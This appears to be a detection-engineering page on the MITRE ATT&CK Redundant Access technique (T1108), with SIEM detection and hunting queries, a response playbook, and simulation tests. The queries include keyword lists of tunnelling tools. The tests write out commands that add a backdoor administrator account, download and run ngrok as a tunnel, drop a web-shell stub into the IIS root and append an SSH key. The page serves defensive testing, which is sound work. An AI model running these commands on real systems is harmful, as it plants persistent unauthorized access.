Redundant Access
Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. This deprecated technique has been superseded by T1136 (Create Account), T1505/003 (Web Shell), and T1133 (External Remote Services), but the underlying adversary behavior — establishing backup access channels in parallel — remains a critical detection target. Observable patterns include simultaneous deployment of web shells alongside account creation, installation of multiple remote access services within a short window, and evidence of access from multiple distinct toolsets or protocols to the same target environment.
What is T1108 Redundant Access?
Redundant Access (T1108) maps to the Defense Evasion and Persistence tactics — the adversary is trying to avoid being detected in MITRE ATT&CK.
This page provides production-ready detection logic for Redundant Access, covering the data sources and telemetry it touches: Process: Process Creation, File: File Creation, Windows Registry: Registry Key Modification, User Account: User Account Creation, Service: Service Creation, Microsoft Defender for Endpoint, Windows Security Event Log. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Defense Evasion Persistence
- Canonical reference
- https://attack.mitre.org/techniques/T1108/
// Detect multiple distinct remote access mechanisms established within 24h on the same device
// Covers web shell drops, remote service installs, new local/domain accounts, and external remote tool execution
let LookbackWindow = 24h;
let RemoteAccessBinaries = dynamic([
"ngrok.exe", "frpc.exe", "frps.exe", "chisel.exe", "plink.exe", "putty.exe",
"mRemoteNG.exe", "AnyDesk.exe", "TeamViewer.exe", "ScreenConnect.exe",
"LogMeIn.exe", "VNCviewer.exe", "vncserver.exe", "psexec.exe", "psexesvc.exe",
"mstsc.exe", "winscp.exe", "ssh.exe", "sshd.exe"
]);
let WebShellExtensions = dynamic([".asp", ".aspx", ".php", ".jsp", ".jspx", ".shtml"]);
let WebServerPaths = dynamic(["\\inetpub\\", "\\wwwroot\\", "\\htdocs\\", "\\www\\", "\\webapps\\"]);
// Signal 1: New account creation
let NewAccounts = SecurityEvent
| where TimeGenerated > ago(LookbackWindow)
| where EventID in (4720, 4726, 4738)
| project TimeGenerated, DeviceName=Computer, AccountName=TargetUserName, Signal="AccountCreatedOrModified";
// Signal 2: Remote access tool execution
let RemoteToolExec = DeviceProcessEvents
| where Timestamp > ago(LookbackWindow)
| where FileName in~ (RemoteAccessBinaries)
or (ProcessCommandLine has_any ("ngrok", "frpc", "chisel", "ligolo") and ProcessCommandLine has_any ("tcp", "http", "tunnel", "connect", "proxy"))
| project TimeGenerated=Timestamp, DeviceName, AccountName, Signal="RemoteAccessToolExecution", Detail=strcat(FileName, " | ", ProcessCommandLine);
// Signal 3: Remote service installation
let RemoteServiceInstall = SecurityEvent
| where TimeGenerated > ago(LookbackWindow)
| where EventID in (7045, 4697)
| where ServiceName has_any ("vnc", "rdp", "ssh", "remote", "screen", "anydesk", "teamviewer", "logmein")
or ServiceFileName has_any ("ngrok", "frpc", "chisel", "plink", "psexec")
| project TimeGenerated, DeviceName=Computer, AccountName=SubjectUserName, Signal="RemoteServiceInstalled", Detail=ServiceName;
// Signal 4: Web shell written to web server path
let WebShellDrop = DeviceFileEvents
| where Timestamp > ago(LookbackWindow)
| where FolderPath has_any (WebServerPaths)
| where FileName has_any (WebShellExtensions)
| where InitiatingProcessFileName !in~ ("w3wp.exe", "httpd.exe", "nginx.exe", "iisexpress.exe")
| project TimeGenerated=Timestamp, DeviceName, AccountName, Signal="WebShellDropped", Detail=strcat(FolderPath, "\\", FileName);
// Signal 5: Registry run key modification for remote access persistence
let RegistryPersist = DeviceRegistryEvents
| where Timestamp > ago(LookbackWindow)
| where RegistryKey has_any ("\\Run\\", "\\RunOnce\\", "\\Services\\")
| where RegistryValueData has_any ("ngrok", "frpc", "chisel", "anydesk", "teamviewer", "vnc", "rdp")
| project TimeGenerated=Timestamp, DeviceName, AccountName, Signal="PersistenceRegistryKey", Detail=strcat(RegistryKey, " = ", RegistryValueData);
// Union all signals and find devices with 2 or more distinct signal types
let AllSignals = union NewAccounts, RemoteToolExec, RemoteServiceInstall, WebShellDrop, RegistryPersist;
AllSignals
| summarize
SignalCount=count(),
DistinctSignals=dcount(Signal),
SignalTypes=make_set(Signal),
Details=make_set(Detail),
Earliest=min(TimeGenerated),
Latest=max(TimeGenerated)
by DeviceName
| where DistinctSignals >= 2
| extend TimeWindowMinutes = datetime_diff('minute', Latest, Earliest)
| project DeviceName, DistinctSignals, SignalTypes, Details, Earliest, Latest, TimeWindowMinutes
| sort by DistinctSignals desc, TimeWindowMinutes asc Detects adversaries establishing multiple redundant access mechanisms on the same host within a 24-hour window — a core indicator of T1108 behavior. Correlates five independent signals: new account creation (Security Event IDs 4720/4726/4738), remote access tool execution (ngrok, frpc, chisel, AnyDesk, etc.), remote service installation (Event IDs 7045/4697), web shell drops to web server paths, and registry persistence of remote access tools. Hosts with 2 or more distinct signal types within the window are flagged as high-confidence redundant access attempts. The technique is deprecated in ATT&CK but the underlying adversary behavior persists widely.
Data Sources
Required Tables
False Positives
- IT administrators legitimately installing multiple remote management tools (RMM agents, VNC, RDP helpers) during system provisioning or maintenance windows
- Software deployment pipelines (SCCM, Intune, Ansible) creating local service accounts and installing remote access agents as part of automated onboarding
- Penetration testing engagements where multiple access mechanisms are intentionally deployed — coordinate with red team to suppress expected signals
- DevOps/CI pipelines that install SSH, tunnel tools, and create service accounts in sequence during automated deployment jobs
- Security teams deploying honeypot infrastructure where multiple remote access mechanisms are intentionally created to attract attackers
Sigma rule & cross-platform mapping
The detection logic for Redundant Access (T1108) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1108
References (8)
- https://attack.mitre.org/techniques/T1108/
- https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
- https://attack.mitre.org/techniques/T1136/
- https://attack.mitre.org/techniques/T1505/003/
- https://attack.mitre.org/techniques/T1133/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1133/T1133.md
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1505.003/T1505.003.md
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security
Testing Methodology
Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Install Redundant Remote Access Service via SC.exe
Expected signal: Windows System Event ID 7045: New Service Installed with ServiceName=RemoteAccessBackup, ServiceFileName=C:\Windows\System32\calc.exe, ServiceType=user mode service, StartType=auto start. Windows Security Event ID 4697 (if auditing enabled): A service was installed in the system. Sysmon Event ID 1 for sc.exe process creation with full command line captured.
- Test 2Create Backup Local Administrator Account
Expected signal: Windows Security Event ID 4720: A user account was created — TargetUserName=df00tech-svc-backup. Security Event ID 4732: A member was added to a security-enabled local group — TargetUserName=df00tech-svc-backup, GroupName=Administrators. Security Event ID 4722: A user account was enabled. Sysmon Event ID 1 for net.exe and wmic.exe process creation with full command lines.
- Test 3Deploy ngrok Tunnel as Redundant C2 Channel
Expected signal: Sysmon Event ID 1: Process Create for powershell.exe with Invoke-WebRequest command line downloading ngrok. Sysmon Event ID 11: File Create for ngrok.zip and ngrok.exe in %TEMP%. Sysmon Event ID 1: Process Create for ngrok.exe with 'http 8080' arguments. Sysmon Event ID 3: Network connection attempt from ngrok.exe to ngrok infrastructure (will fail or succeed depending on network access). Security Event ID 4688 (if command line auditing enabled).
- Test 4Drop Simulated Web Shell in IIS Web Root
Expected signal: Sysmon Event ID 11: File Create with TargetFilename=C:\inetpub\wwwroot\df00tech-test-shell.aspx, Image=cmd.exe (unexpected parent for web root writes). Sysmon Event ID 1: Process Create for cmd.exe with echo/redirect command line. Security Event ID 4663 (object access, if file auditing enabled on inetpub) showing file create by cmd.exe.
- Test 5Add SSH Authorized Key for Persistent Backdoor Access (Linux/macOS)
Expected signal: Linux auditd: syscall write/open on ~/.ssh/authorized_keys by the bash/sh process — generates SYSCALL and PATH audit records. Syslog/auth.log: no immediate logon event but future SSH logons using this key will generate 'Accepted publickey' entries identifying the key fingerprint. File integrity monitoring (FIM): if deployed, triggers on modification of ~/.ssh/authorized_keys.
Response Playbook
Triage
- Identify all distinct access mechanisms flagged — list every tool, account, service, and web shell detected on the host. Build a complete picture before taking containment actions so you don't trigger the adversary's backup mechanisms.
- Determine the timeline: which access mechanism was established first? The chronological order reveals the attacker's operational sequence and often indicates which tool was the initial foothold versus the redundant backup.
- Check whether any flagged accounts are domain accounts versus local accounts. Domain accounts represent broader risk as they may enable lateral movement to other systems even after the original endpoint is contained.
- Review network connections from each detected remote access tool — look in DeviceNetworkEvents or Sysmon Event ID 3 for external destination IPs and ports. Each tool may be calling back to a different C2 infrastructure, indicating a sophisticated operator.
- Correlate the device with authentication logs (Security EventID 4624/4648) over the same window to determine if any of the newly established access mechanisms have already been used for interactive logons or lateral movement.
- Check if a web shell was dropped — if so, pivot to IIS/Apache/nginx access logs to identify any inbound requests to the shell path, attacker source IPs, and commands executed through the shell interface.
- Review parent processes for each remote tool installation — legitimate deployment tools (SCCM, Intune, Ansible) will have recognizable parent process chains. Unexpected parents (cmd.exe, powershell.exe, wscript.exe) strongly suggest adversarial activity.
Containment
- Do NOT immediately disable only one access mechanism — this is the critical mistake T1108 is designed to exploit. Before isolating or remediating, enumerate ALL access paths using the evidence collection steps below.
- Once all access mechanisms are identified: network-isolate the endpoint using EDR isolation to sever all C2 channels simultaneously, preventing the adversary from pivoting to backup access before remediation is complete.
- Disable all newly created accounts (both local and domain) simultaneously — staggered remediation allows adversaries to pivot between accounts before you can disable subsequent ones.
- Remove or null-route all identified C2 destination IPs at the firewall and DNS level. If multiple C2 IPs are present across different tools, block all of them before starting host remediation.
- If a web shell was identified: take the web server offline or block external access to the specific URI path, then remove the shell file and audit all files modified in the web root within the same time window for additional implants.
- Perform credential resets for all accounts that had logon activity on the compromised host during the attacker's dwell time — assume any cached credentials have been harvested.
- Deploy enhanced monitoring before re-enabling the host — install or update EDR agent, enable full command-line auditing, enable PowerShell ScriptBlock logging, and confirm Sysmon is deployed with a comprehensive configuration.
Evidence Collection
- Full disk image or memory acquisition if the host may have an advanced implant — redundant access setups often indicate a sophisticated actor who may have deployed a rootkit or kernel-level persistence.
- Windows Security Event Log (evtx) — Security.evtx for all account creation (4720), logon (4624/4648), privilege use (4672), and service installation (4697) events during the suspected intrusion window.
- Windows System Event Log — System.evtx for service installations (7045) and driver loads (6) that may indicate installed remote access services.
- Sysmon event logs (Microsoft-Windows-Sysmon/Operational) — capture all process creation (1), network connections (3), file creates (11), registry modifications (13), and image loads (7) for forensic reconstruction.
- Web server access logs — IIS: %SystemDrive%\inetpub\logs\LogFiles\; Apache/nginx: /var/log/apache2/ or /var/log/nginx/ — extract all requests to the identified web shell paths with source IP addresses.
- Prefetch files — C:\Windows\Prefetch\ for execution timestamps of all identified remote access tools. These persist after binary deletion and confirm whether tools were actually executed.
- Registry hives — HKLM\SYSTEM\CurrentControlSet\Services (installed services), HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (user persistence), HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (system persistence).
- Network capture — if available, PCAP for all identified C2 destination IPs during the intrusion window to characterize protocol/beacon patterns for each distinct tool.
- Scheduled tasks — C:\Windows\System32\Tasks\ and output of `schtasks /query /fo LIST /v` to identify any task-based persistence added alongside the remote access tools.
- Installed software inventory — compare against a known-good baseline using `wmic product get name,version` or `Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*`.
Escalation Criteria
- ! Three or more distinct remote access mechanisms identified — this level of redundancy indicates a sophisticated, persistent threat actor (nation-state, advanced cybercriminal group) conducting a deliberate campaign.
- ! Evidence that any established access mechanism has already been leveraged for lateral movement (logon events on multiple hosts, remote service installations on additional systems from the same source).
- ! Domain administrator or service account credentials used to establish redundant access — credential compromise at this level requires organization-wide response beyond a single-host investigation.
- ! Web shell identified on an internet-facing server — this exposes the access mechanism to the open internet and must be treated as a critical, time-sensitive incident regardless of other signals.
- ! C2 destinations linked to known threat actor infrastructure via threat intelligence feeds — treat as a confirmed targeted intrusion requiring executive notification and potential IR firm engagement.
- ! Evidence of data staging or exfiltration activity alongside the access establishment — redundant access combined with exfiltration indicates the attacker is completing their mission objective.
Investigation Guide
Forensic Artifacts
- >
Registry: HKLM\SYSTEM\CurrentControlSet\Services — enumerate all services for unexpected remote access tools installed as services, checking ImagePath for known remote access binaries. - >
Registry: HKCU/HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and RunOnce — remote access tool persistence via autorun keys. - >
Registry: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon — Userinit and Shell values may be modified to load remote access tools at logon. - >
File System: C:\inetpub\wwwroot\ and virtual directory paths — enumerate all scripting files (.asp, .aspx, .php) for recently modified or created web shells. - >
File System: %APPDATA%, %TEMP%, C:\ProgramData\ — common staging locations for downloaded remote access tool binaries. - >
File System: C:\Windows\Prefetch\ — prefetch files for all identified remote access tool executables, providing execution timestamps even after binary deletion. - >
File System: C:\Windows\System32\Tasks\ and C:\Windows\SysWOW64\Tasks\ — scheduled task XML files for any tasks created to launch remote access tools. - >
Event Log: Security.evtx Event ID 4720 (account created), 4726 (account deleted), 4738 (account changed), 4648 (logon with explicit credentials). - >
Event Log: System.evtx Event ID 7045 (new service installed), 7036 (service state changed) — correlate with known remote access service names. - >
Event Log: Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational — RDP connection history including source IP addresses. - >
SSH: ~/.ssh/authorized_keys (Linux/macOS) — adversaries often add their SSH public key as a redundant access method alongside other mechanisms. - >
Network: established listening ports via `netstat -anob` or `ss -tlnp` — remote access tools open listening ports or establish persistent outbound connections. - >
Browser History / Download History — attackers may download remote access tools directly on the compromised host using a browser or download utility.
Tuning Guidance
T1108 is deprecated but its behavioral patterns remain highly relevant. The primary tuning challenge is distinguishing legitimate multi-tool IT administration from adversarial redundant access. Start with an authorized software inventory — build an allowlist of sanctioned remote access tools (your RMM, VPN client, jump server agents) and their expected parent processes and installation accounts. Service accounts used by SCCM or Intune will legitimately generate account creation + service installation correlations during provisioning. Create lookup tables for known-good (account, device) pairs from your ITSM/CMDB for provisioning events. For the web shell hunting query, build an allowlist of legitimate CMS-managed file paths where web server processes do write script files (WordPress themes, etc.). The key discriminator for true positives is the combination of (1) non-standard installation account, (2) unusual parent process chain, and (3) rapid succession of multiple signal types with no corresponding change ticket. Consider enriching alerts with ServiceNow/ITSM change window data to auto-suppress expected provisioning activity during approved change windows. For environments where ngrok or similar tunneling tools are developer-approved, track expected use by dev team accounts and device types, flagging use outside this scope.
Hunting Queries
Hunts for non-standard processes establishing multiple outbound connections to distinct public IPs — a pattern consistent with a secondary C2 channel operating alongside a primary implant. Legitimate software typically connects to a small, consistent set of vendor IPs. Multiple unique destination IPs from a single non-browser process suggests staged command infrastructure or redundant beacon endpoints.
// Hunt for processes making outbound connections that are NOT known remote access tools but exhibit C2 beacon patterns
// Focus: non-browser, non-updater processes with periodic external connections — possible covert secondary C2
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| where InitiatingProcessFileName !in~ (
"chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe",
"MsMpEng.exe", "svchost.exe", "lsass.exe", "services.exe",
"OneDrive.exe", "Teams.exe", "outlook.exe", "winlogon.exe"
)
| summarize
ConnectionCount=count(),
UniqueDestIPs=dcount(RemoteIP),
UniqueDestPorts=dcount(RemotePort),
DestIPs=make_set(RemoteIP, 10),
DestPorts=make_set(RemotePort, 10),
FirstSeen=min(Timestamp),
LastSeen=max(Timestamp)
by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where ConnectionCount >= 5 and UniqueDestIPs >= 2
| extend DwellDays=datetime_diff('day', LastSeen, FirstSeen)
| sort by UniqueDestIPs desc, ConnectionCount desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
NOT (Image="*\\chrome.exe" OR Image="*\\firefox.exe" OR Image="*\\msedge.exe"
OR Image="*\\MsMpEng.exe" OR Image="*\\svchost.exe" OR Image="*\\OneDrive.exe"
OR Image="*\\Teams.exe" OR Image="*\\outlook.exe")
NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
| stats
count as ConnectionCount,
dc(DestinationIp) as UniqueDestIPs,
dc(DestinationPort) as UniqueDestPorts,
values(DestinationIp) as DestIPs,
values(DestinationPort) as DestPorts,
earliest(_time) as FirstSeen,
latest(_time) as LastSeen
by host, Image, CommandLine
| where ConnectionCount >= 5 AND UniqueDestIPs >= 2
| eval DwellDays=round((LastSeen-FirstSeen)/86400,1)
| sort - UniqueDestIPs ConnectionCount Correlates account creation events with remote service installation events on the same host within a 48-hour window. This pairing — creating a backup account alongside installing a remote service — is a signature behavior of adversaries establishing redundant access. Neither event alone is high-confidence, but the temporal correlation on the same device substantially increases the signal fidelity.
// Hunt for accounts created within 48 hours of a remote tool installation on the same device
// Correlation of two independent signals on the same host within a tight time window
let AccountCreations = SecurityEvent
| where TimeGenerated > ago(14d)
| where EventID == 4720
| project AccountCreationTime=TimeGenerated, DeviceName=Computer, NewAccount=TargetUserName, CreatingAccount=SubjectUserName;
let RemoteToolInstalls = SecurityEvent
| where TimeGenerated > ago(14d)
| where EventID in (7045, 4697)
| project InstallTime=TimeGenerated, DeviceName=Computer, ServiceName, ServiceFileName;
AccountCreations
| join kind=inner RemoteToolInstalls on DeviceName
| where abs(datetime_diff('hour', AccountCreationTime, InstallTime)) <= 48
| project
DeviceName,
NewAccount,
CreatingAccount,
AccountCreationTime,
ServiceName,
ServiceFileName,
InstallTime,
TimeDeltaHours=datetime_diff('hour', InstallTime, AccountCreationTime)
| sort by abs(TimeDeltaHours) asc index=wineventlog sourcetype="WinEventLog:Security" (EventCode=4720 OR EventCode=7045 OR EventCode=4697)
| eval EventType=case(EventCode=="4720", "AccountCreated", EventCode=="7045" OR EventCode=="4697", "ServiceInstalled", true(), "Unknown")
| eval AccountName=coalesce(TargetUserName, SubjectUserName)
| eval ServiceInfo=coalesce(ServiceName, ServiceFileName)
| stats
values(eval(if(EventType="AccountCreated", AccountName, null()))) as NewAccounts,
values(eval(if(EventType="ServiceInstalled", ServiceInfo, null()))) as InstalledServices,
dc(EventType) as DistinctEventTypes,
earliest(_time) as FirstEvent,
latest(_time) as LastEvent
by host
| where DistinctEventTypes >= 2 AND isnotnull(NewAccounts) AND isnotnull(InstalledServices)
| eval TimeWindowHours=round((LastEvent-FirstEvent)/3600,1)
| where TimeWindowHours <= 48
| sort TimeWindowHours Hunts for the combination of a web shell file drop followed by outbound network connections from the web server process within 72 hours. A web server process (w3wp.exe, httpd.exe, nginx.exe, php-cgi.exe) making outbound connections to public IPs after a non-standard file write to web directories strongly indicates an active web shell functioning as a covert C2 channel — a classic redundant access mechanism.
// Hunt for web shell files in web server directories followed by outbound network connections from web server processes
// Indicates an active web shell being used as a C2 channel
let WebShellDrops = DeviceFileEvents
| where Timestamp > ago(14d)
| where FolderPath has_any ("\\inetpub\\", "\\wwwroot\\", "\\htdocs\\", "\\www\\")
| where FileName has_any (".asp", ".aspx", ".php", ".jsp", ".jspx")
| where InitiatingProcessFileName !in~ ("w3wp.exe", "httpd.exe", "nginx.exe", "php-cgi.exe")
| project DropTime=Timestamp, DeviceName, ShellPath=strcat(FolderPath, FileName), DropperProcess=InitiatingProcessFileName;
let WebServerOutbound = DeviceNetworkEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName in~ ("w3wp.exe", "httpd.exe", "nginx.exe", "php-cgi.exe", "php.exe")
| where RemoteIPType == "Public"
| project ConnTime=Timestamp, DeviceName, RemoteIP, RemotePort, WebProcess=InitiatingProcessFileName;
WebShellDrops
| join kind=inner WebServerOutbound on DeviceName
| where ConnTime > DropTime
| where datetime_diff('hour', ConnTime, DropTime) <= 72
| project
DeviceName, ShellPath, DropperProcess, DropTime,
WebProcess, RemoteIP, RemotePort, ConnTime,
HoursAfterDrop=datetime_diff('hour', ConnTime, DropTime)
| sort by HoursAfterDrop asc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
((EventCode=11
(TargetFilename="*\\inetpub*" OR TargetFilename="*\\wwwroot*" OR TargetFilename="*\\htdocs*")
(TargetFilename="*.asp" OR TargetFilename="*.aspx" OR TargetFilename="*.php" OR TargetFilename="*.jsp")
NOT (Image="*\\w3wp.exe" OR Image="*\\httpd.exe" OR Image="*\\nginx.exe"))
OR
(EventCode=3
(Image="*\\w3wp.exe" OR Image="*\\httpd.exe" OR Image="*\\nginx.exe" OR Image="*\\php-cgi.exe")
NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")))
| eval EventType=case(EventCode=="11", "WebShellDrop", EventCode=="3", "WebServerOutbound", true(), "Unknown")
| stats
values(eval(if(EventType="WebShellDrop", TargetFilename, null()))) as ShellPaths,
values(eval(if(EventType="WebServerOutbound", DestinationIp, null()))) as OutboundIPs,
dc(EventType) as DistinctTypes,
earliest(_time) as FirstSeen,
latest(_time) as LastSeen
by host
| where DistinctTypes >= 2 AND isnotnull(ShellPaths) AND isnotnull(OutboundIPs)
| eval TimeWindowHours=round((LastSeen-FirstSeen)/3600,1)
| sort TimeWindowHours Atomic Red Team Tests
Simulates an adversary installing a second remote access service after gaining initial foothold. Creates a Windows service pointing to a benign executable (calc.exe) but using a name and path pattern consistent with known remote access tools. This tests detection of Security EventID 7045 (new service installed) alongside existing remote access infrastructure.
Command
sc.exe create "RemoteAccessBackup" binPath= "C:\Windows\System32\calc.exe" start= auto DisplayName= "Windows Remote Management Helper" && sc.exe description RemoteAccessBackup "Provides secondary remote management connectivity" Cleanup
sc.exe stop RemoteAccessBackup 2>nul; sc.exe delete RemoteAccessBackup 2>nul Expected Telemetry
Windows System Event ID 7045: New Service Installed with ServiceName=RemoteAccessBackup, ServiceFileName=C:\Windows\System32\calc.exe, ServiceType=user mode service, StartType=auto start. Windows Security Event ID 4697 (if auditing enabled): A service was installed in the system. Sysmon Event ID 1 for sc.exe process creation with full command line captured.
Expected Detection
SPL query triggers on EventCode=7045 with ServiceName matching 'remote'. KQL SecurityEvent query matches EventID=4697. Combined with any concurrent account creation or tool execution event on the same host, the multi-signal correlation query fires.
Simulates an adversary creating a hidden backup local administrator account as a redundant access mechanism. The account name uses a common camouflage pattern (resembling a service account). This tests detection of Security EventID 4720 (account created) and 4732 (account added to group), and correlates with other access mechanism signals.
Command
net user df00tech-svc-backup P@ssw0rd123! /add /expires:never && net localgroup Administrators df00tech-svc-backup /add && wmic useraccount where name='df00tech-svc-backup' set PasswordExpires=FALSE Cleanup
net user df00tech-svc-backup /delete 2>nul Expected Telemetry
Windows Security Event ID 4720: A user account was created — TargetUserName=df00tech-svc-backup. Security Event ID 4732: A member was added to a security-enabled local group — TargetUserName=df00tech-svc-backup, GroupName=Administrators. Security Event ID 4722: A user account was enabled. Sysmon Event ID 1 for net.exe and wmic.exe process creation with full command lines.
Expected Detection
KQL/SPL new account creation signal fires (EventID 4720). If this test is run alongside Test 1 (service installation) on the same host within the lookback window, the multi-signal correlation query fires with DistinctSignals >= 2, representing the full T1108 detection scenario.
Simulates an adversary deploying ngrok as a secondary C2 channel after establishing a primary foothold. Downloads (or uses pre-staged) ngrok binary and attempts to establish an HTTP tunnel. Tests detection of remote access tool execution patterns in process creation logs. The tunnel will fail without a valid auth token, but all process creation telemetry is generated.
Command
powershell.exe -NoProfile -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip' -OutFile $env:TEMP\ngrok.zip -UseBasicParsing; Expand-Archive -Path $env:TEMP\ngrok.zip -DestinationPath $env:TEMP\ngrok-test -Force; & $env:TEMP\ngrok-test\ngrok.exe http 8080 --log=stdout" Cleanup
Stop-Process -Name ngrok -Force -ErrorAction SilentlyContinue; Remove-Item $env:TEMP\ngrok.zip -ErrorAction SilentlyContinue; Remove-Item $env:TEMP\ngrok-test -Recurse -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 1: Process Create for powershell.exe with Invoke-WebRequest command line downloading ngrok. Sysmon Event ID 11: File Create for ngrok.zip and ngrok.exe in %TEMP%. Sysmon Event ID 1: Process Create for ngrok.exe with 'http 8080' arguments. Sysmon Event ID 3: Network connection attempt from ngrok.exe to ngrok infrastructure (will fail or succeed depending on network access). Security Event ID 4688 (if command line auditing enabled).
Expected Detection
KQL RemoteToolExec signal fires on FileName=ngrok.exe with http/tunnel in command line. SPL query triggers on Image matching *ngrok.exe*. Combined with any concurrent account creation or service installation event on same host, multi-signal query fires. The PowerShell download cradle also triggers T1059.001 detection rules independently.
Simulates an adversary dropping a web shell as a redundant access mechanism on a web server host. Creates a test ASPX file in the IIS web root directory from a non-web-server process (simulating a post-exploitation file write). Tests Sysmon Event ID 11 detection for web shell drops and file creation in web server directories from unexpected processes.
Command
cmd.exe /c "echo ^<^%@ Page Language='C#' ^%^>^<html^>^<body^>^<form runat='server'^>^<asp:TextBox id='cmd' runat='server'/^>^<asp:Button Text='Run' runat='server' OnClick='RunCmd'/^>^<asp:Label id='output' runat='server'/^>^</form^>^</body^>^</html^> > C:\inetpub\wwwroot\df00tech-test-shell.aspx" 2>nul || echo IIS web root not found, attempting alternate path && cmd.exe /c "mkdir C:\test-webroot 2>nul && echo test-shell-content > C:\test-webroot\df00tech-test-shell.aspx" Cleanup
del C:\inetpub\wwwroot\df00tech-test-shell.aspx 2>nul; del C:\test-webroot\df00tech-test-shell.aspx 2>nul; rmdir C:\test-webroot 2>nul Expected Telemetry
Sysmon Event ID 11: File Create with TargetFilename=C:\inetpub\wwwroot\df00tech-test-shell.aspx, Image=cmd.exe (unexpected parent for web root writes). Sysmon Event ID 1: Process Create for cmd.exe with echo/redirect command line. Security Event ID 4663 (object access, if file auditing enabled on inetpub) showing file create by cmd.exe.
Expected Detection
KQL WebShellDrop signal fires: DeviceFileEvents where FolderPath has '\inetpub\' and FileName has '.aspx' and InitiatingProcessFileName != 'w3wp.exe'. SPL query triggers on EventCode=11 with TargetFilename matching *wwwroot* and *.aspx*, Image not matching web server processes. Combined with any concurrent account creation or service installation, the multi-signal correlation fires.
Simulates an adversary adding their SSH public key to a user's authorized_keys file as a redundant access mechanism alongside an existing foothold. This is one of the most common persistence techniques on Linux/macOS systems. The test adds a test key and immediately removes it to avoid actual unauthorized access.
Command
mkdir -p ~/.ssh && chmod 700 ~/.ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDf00techTestKey0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000== df00tech-test-redundant-access@test' >> ~/.ssh/authorized_keys && echo '[+] SSH key added — check authorized_keys'; cat ~/.ssh/authorized_keys | grep df00tech-test Cleanup
sed -i '/df00tech-test-redundant-access@test/d' ~/.ssh/authorized_keys Expected Telemetry
Linux auditd: syscall write/open on ~/.ssh/authorized_keys by the bash/sh process — generates SYSCALL and PATH audit records. Syslog/auth.log: no immediate logon event but future SSH logons using this key will generate 'Accepted publickey' entries identifying the key fingerprint. File integrity monitoring (FIM): if deployed, triggers on modification of ~/.ssh/authorized_keys.
Expected Detection
Linux auditd rule monitoring writes to authorized_keys files: `auditctl -w /root/.ssh/authorized_keys -p wa -k ssh_authorized_keys`. Splunk SPL on linux_secure sourcetype: `index=linux sourcetype=linux_secure 'authorized_keys'`. Combined with any concurrent service installation or account creation on the same host within the lookback window, the multi-signal hunting query fires.